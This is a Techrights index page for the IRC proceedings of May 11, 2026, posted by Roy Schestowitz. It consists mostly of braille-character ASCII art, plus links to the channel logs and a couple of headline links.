⣿⣿⣿⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡟⠀⠀⠀⠀⠀⠀⠀⠀⢻⣿⣿⡿⢿⣿⣿⡿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⣿ ⣿⣶⣶⢰⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⠀⠀⠀⣶⣶⡦⠀⠀⠀⣶⡆⡀⡄⠠⠀⠀⠀⠄⢠⠄⢠⠀⠀⠀⠀⡄⠀⠠⠀⡀⠀⣴⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⡆⣿ ⣿⣿⣿⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡄⠀⠀⠈⠉⠁⠀⢀⣶⣿⣷⣶⣷⣶⣶⣶⣷⣾⣶⣾⣶⣾⣶⣶⣷⣷⣾⣶⣷⣶⣶⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⣿ ⣿⠿⢿⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣦⣀⡀⠀⣀⣰⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⣿ ⣿⣷⣶⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⣿ ⣿⣿⣿⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⣿ ⣿⠿⠿⠸⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠇⣿ ⣿⣿⣿⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡏⢹⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⢋⡄⣿ ⣿⣿⣿⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⠿⠁⠘⠛⠋⢙⡛⠛⠋⢍⠻⠿⠟⢛⠻⠿⠟⠛⠻⠿⠀⢨⣌⠳⠐⠲⠖⠢⠐⠐⠂⠀⠰⠶⢾ ⣿⡟⠻⠘⠛⠛⠛⠛⠛⠛⠛⠛⠛⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠁⠈⠉⠉⠀⠁⠀⠀⠀⠀⠀⠀⠀⠐⠒⠐⠛⠂⠂⠒⠊⠀⠀⠀⠈⠀⠀⠀⠀⠈⠈⠀⠈⠀⠀⠁⠀⠀⠀⠁⠀⠀⠀⠀⠀⠀⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣻⣛⣛⣛⣛⣻⣻⣛⣛⣻⣟⣻⣛⣛⣿⣻⣟⣛⣛⣛⣿⣻⣛⣛⣿⣟⣟⣛⣛⣻⣟⣛⣛⣛⣛⣛⣛⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ䷩ 𝚕𝚒𝚗𝚎 1571 ╒═══════════════════ 𝐀𝐑𝐓𝐈𝐂𝐋𝐄 ═════════════════════════════════════════════════╕ (ℹ) Images, hyperlinks and comments at https://techrights.org/n/2026/05/12/IRC_Proceedings_Monday_May_11_2026.shtml Gemini version at gemini://gemini.techrights.org/n/2026/05/12/IRC_Proceedings_Monday_May_11_2026.gmi ⠀⌧ █▇▆▅▄▃▂▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁ IRC Proceedings: Monday, May 11, 2026⠀▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▂▃▄▅▆▇█ ⌧ posted by Roy Schestowitz on May 12, 2026 🄸🄼🄰🄶🄴_🄳🄴🅂🄲🅁🄸🄿🅃🄸🄾🄽_⦇Circle,_triangle,_and_square:_tonic,_mediant,_and_dominant⦈_ 🄸🄼🄰🄶🄴_🄳🄴🅂🄲🅁🄸🄿🅃🄸🄾🄽_⦇GN 🄸🄼🄰🄶🄴_🄳🄴🅂🄲🅁🄸🄿🅃🄸🄾🄽_⦇GNOME_Gedit⦈_ #techrights_log #boycottnovell_log 🄸🄼🄰🄶🄴_🄳🄴🅂🄲🅁🄸🄿🅃🄸🄾🄽_⦇GN 🄸🄼🄰🄶🄴_🄳🄴🅂🄲🅁🄸🄿🅃🄸🄾🄽_⦇GNOME_Gedit⦈_ #boycottnovell-social_log #techbytes_log =============================================================================== The corresponding text-only bulletins for_Tux_Machines and for_Techrights contain all the text. Enter_the_IRC_channels_now * GAFAM_(Microsoft)_"Cloud_Computing"_Means_Another_Country's_Military Accesses_All_Your_Data * Over_at_Tux_Machines... ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣼⠋⢹⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡀⣰⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡙⠲⠊⠉⠉⠿⣏⣿⣿⣿⣿⢿⣻⡻⣛⡟⡟⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⠀⣿⣿⡇⠀⠀⠀⣿⣿⣿⣻⣿⣀⠄⠐⣀⠀⡀⠖⣀⢀⢳⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣶⡏⠁⠀⠀⠀⠀⠀⠀⠀⠘⠉⠁⠀⡆⠀⢲⣴⣿⣿⣿⢿⣾⣷⡖⣵⠂⠘⠊⢻⣶⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠰⠄⢹⡇⠀⠀⠀⠀⠀⠠⠀⠀⢠⠀⠀⠀⡇⠠⣾⣿⣿⢿⣿⡿⣿⠏⠑⠚⠒⠂⢐⠚⠑⠃⢻⣹⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⠀⠀⠀⠀⠀⢀⡹⠀⠀⢷⣶⠉⠉⣿⣿⡗⠒⠒⠒⠀⠀⢸⠀⠀⠀⡇⠀⣿⡗⠣⠋⠜⠋⠹⠽⠿⠤⠿⠏⠹⠿⠿⠿⠿⠿⠿⠿⠿⠿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⠀⠀⠀⠀⠀⠈⠀⠉⣁⣀⣀⣶⣶⣿⣿⣷⣶⣶⣶⣤⣤⣼⠀⢠⣤⣧⣤⣿⣧⠀⠀⠉⠀⠉⠁⠉⠉⠉⠁⠈⠉⠉⠉⠉⠉⠉⠉⣉⠉⢩⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠉⠉⠉⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⢸⣿⣿⣿⣿⡏⡆⠀⠀⠀⢀⠀⢀⠀⠀⠀⠀⡀⠀⢀⣀⣀⣒⣂⣀⣀⣰⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⠀⠀⠀⠀⢀⡀⠀⠀⠀⠀⢰⡆⣿⣿⣿⣿⣿⣿⣿⡿⢿⡇⢀⣼⣿⣿⣿⣿⡧⡁⠀⠗⠖⠼⠓⠾⠿⠿⠟⠻⠿⠯⠽⠿⠿⠿⠿⠿⠿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⠀⠀⠀⠀⠈⣇⡀⠀⢰⣀⣸⣇⡟⠻⠿⠛⠿⣿⣿⠗⠀⡿⢿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠐⠒⠒⠖⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⠀⠀⠀⠀⠀⠈⠁⠀⠀⢸⣿⣿⡇⠀⠀⠀⠀⣿⣿⣷⣶⣷⣾⣿⣿⣿⣿⣿⣷⠀⠀⠁⠈⢈⠉⠈⠉⠀⠄⡈⠉⡭⠭⠭⠍⣭⣭⣭⣉⣹⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⠀⠀⠀⠀⠀⣀⣼⢸⣷⢨⣭⣭⡅⣶⣶⡆⠀⣿⣿⣷⣾⣿⣿⣿⣿⣿⣿⣿⣿⣾⣷⣷⣿⣿⣿⣿⣿⣾⣶⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⠀⠀⠀⠀⠀⣽⣿⢸⣿⢸⣿⣿⡇⣿⣿⡇⠿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡽⠟⠓⠛⣋⣉⠉⢉⣉⣙⠛⠻⠿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⠀⠀⠀⠀⠈⠿⢿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣴⣿⣓⠟⢉⣡⣶⠿⣿⣿⣿⣿⣷⣿⣿⣿⣿⣿⣶⣤⣙⠛⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⠀⠀⠀⠀⠀⣄⣸⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠋⣠⣼⣮⣵⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣦⡙⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⠀⠀⠀⣀⣴⡟⢻⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⣿⣿⣿⣿⣿⣿⣿⣿⠟⢠⣶⣽⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣯⣿⣦⠙⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⠀⠀⠀⣿⣿⣷⣾⣿⣿⡏⠉⣿⡇⠀⣿⣷⣾⣿⣿⣿⣿⣿⣿⣿⠏⣰⣾⣿⣿⣿⣿⣿⣿⣿⣿⣯⣷⡿⠉⠻⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⡘⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⠀⠀⠀⣿⣿⣿⣿⣿⣿⡏⣉⣿⣆⣀⣿⣿⣿⣿⣿⣿⣿⣿⣿⠏⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣳⡿⣡⣶⣧⠙⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⡈⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⠀⠀⢀⣿⣿⣿⣿⣿⣿⣷⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⢀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡅⡀⢠⣤⣤⣤⣄⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣇⢹⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⠀⠀⢹⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠸⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠇⣰⣿⣿⣿⣿⣿⣷⠀⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⠀⠀⠞⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⢰⣾⣿⣿⣿⣿⣿⣿⣿⣿⢋⡀⣿⣿⣿⣤⣿⣿⣿⠃⡌⢿⣿⣿⣿⣿⣿⣿⣿⣿⣧⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣧⠸⣿⣿⣿⣿⣿⣿⣿⡿⢃⢺⡇⢌⠻⣿⣿⣿⡿⠋⠀⡿⢀⢻⣿⣿⣿⣿⣿⣿⣿⡿⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⠀⠠⠼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡄⢻⣿⣿⣿⣿⣿⣿⣷⣴⣴⣴⣤⣴⣦⣤⣤⣤⣴⣴⣴⣴⣶⣿⣿⣿⣿⣿⣿⣿⡇⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⠀⠰⠶⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⣷⡈⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⠀⢰⣶⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⢿⣷⡌⢿⣽⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⢏⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣾⣿⣿⣦⠉⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⣡⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣟⣦⡙⠻⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⢟⣥⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣭⣿⣿⠟⠻⠽⢻⣿⣿⣽⣿⣷⣦⣌⡙⠛⠛⠿⠿⠟⠻⠿⠿⠛⢛⣫⣴⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠿⡿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⢿⣿⣿⣿⢿⡿⣿⡏⣈⡀⢂⢀⠈⢙⣿⣿⣿⣿⣿⣿⣽⣿⣯⣷⣶⣶⣶⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠛⡒⠂⠖⠚⠛⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣟⡮⡟⠋⠉⠉⠉⠉⠩⠭⠉⠍⠀⠍⠉⠩⠭⠍⠉⢽⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡟⠛⣙⠉⢉⡛⠛⠉⠉⠙⠛⢛⠛⠉⠉⢛⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⠀⢼⣿⣽⣿⣿⣿⣿⣿⣿⣿⣿⣿⣇⡇⠈⠈⠀⠀⠀⠀⠀⢈⠀⠀⠀⠀⠀⠀⠀⠀⣸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠁⡀⠉⡉⠈⢡⠀⠀⠀⠈⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⠀⣨⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⠒⠀⠐⠰⣰⣶⣶⣒⣒⠀⢐⣒⣲⣶⣶⣶⣶⣶⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠆⡀⡄⠀⣤⣥⠥⡄⠀⠈⣭⣭⣭⣤⣥⣭⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⠀⠘⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⠀⠈⠉⠛⠛⠛⠛⠙⠋⠙⠉⠉⠉⠙⠛⠋⢹⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡆⠀⡛⠓⠛⠛⠛⡛⠛⢛⣛⣛⣛⢛⣛⣻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⠀⠀⠘⣀⣻⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠠⠠⠄⠀⠈⠍⠬⠠⠄⠠⠀⠉⠁⠈⠅⢽⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠁⠀⡂⠀⠐⠒⠒⢒⠂⠒⠒⠒⢒⢒⠒⢺⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⠀⢠⣶⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡟⡷⡄⣤⣠⣤⣤⣤⣤⣤⢠⣤⣤⣤⣤⣤⣤⣤⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣦⣤⣥⣭⣭⣭⣭⣭⣥⣭⣭⣭⣭⣭⣭⣽⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣾⣿⣿⣿⣿⣿⣿⣽⣿⠝⢯⣷⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⠀⠨⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣹⣹⠃⣀⡌⢳⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⠀⢤⡟⠙⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⢁⣾⣿⣯⡄⠻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⢉⢋⣙⣉⡋⢉⣙⣋⠉⣉⣛⠛⢛⣛⣛⣛⡛⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⠀⢠⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⢁⣞⣿⣿⣽⣽⣆⠹⣿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⢸⣿⢟⢥⣾⣿⡿⣣⣡⡜⢿⣿⣶⣍⠻⣿⡇⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠓⠠⠍⠚⣉⣉⣛⠓⠚⠦⠘⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠸⣡⣿⣿⣿⡟⠱⣛⣛⣛⠌⢿⣿⣿⣷⡜⠄⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠏⢀⡴⢮⣭⢿⣭⡽⣿⣧⣶⣀⠐⣽⣿⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⢠⣿⣿⣿⠟⣰⣿⣿⣿⣿⣷⡄⢻⣿⣿⣿⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⠀⢀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠃⣐⢯⠋⠁⠉⣉⣉⣉⠉⠉⠉⣿⣅⡈⢿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⢸⣿⣿⠋⠠⣿⣿⣟⣹⣿⣿⣿⢀⠻⣿⣿⠄⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⠀⠈⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠹⠃⢼⣿⢺⠀⣠⣎⣵⣷⣾⣽⣆⠀⣿⣿⣶⠈⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡗⠸⡿⢣⡾⣆⠻⣿⣿⣿⣿⣿⠏⣾⣧⠹⣿⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⠀⢀⣽⣿⣿⣿⣭⣿⣿⣿⢿⢹⡟⢁⡄⡟⣿⣯⠀⣏⣯⢿⣭⣭⣿⣽⠀⣯⣿⣽⠀⡄⢫⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⢰⠁⣋⣒⣛⣓⣈⣙⣋⣉⣑⣚⣛⣚⣓⢈⠆⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⠀⠘⢻⣿⣿⣿⣿⣿⣿⣿⡿⡞⢠⣿⣇⠹⣿⣾⠀⠈⠺⣹⣿⣿⡿⠏⠀⣿⣿⡏⢰⣿⣆⠹⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⢸⣷⣌⠿⣿⣿⣿⣿⣿⣿⣿⣿⡿⢟⣹⣿⡅⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⠀⠀⠻⣿⣿⣿⣿⣿⣿⣯⠎⣰⣿⣟⣿⣄⠙⣽⢦⣄⣠⣄⣈⣡⣄⣀⡠⣟⡟⢀⣾⣿⣿⣦⠸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣈⣘⣛⣛⣒⣉⣙⡛⣛⠛⣋⠁⢚⣛⢛⣙⣁⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⠀⠀⠀⠛⣿⣿⣟⣏⡿⠃⠬⣻⣿⣿⣿⣿⣖⣈⠛⠽⣿⣿⠿⣿⣿⡿⠝⢁⣴⣯⣿⣽⣿⣽⣧⠈⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⠀⠀⠀⠠⣿⣿⡾⣼⢧⣤⢤⣤⣤⣤⣤⣤⠤⣬⣥⣤⣤⣤⣤⣤⣤⣤⣈⣭⣭⣭⣭⣭⣉⣉⣉⢀⡨⣽⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⠿⢿⣿⣿⣿⣿ 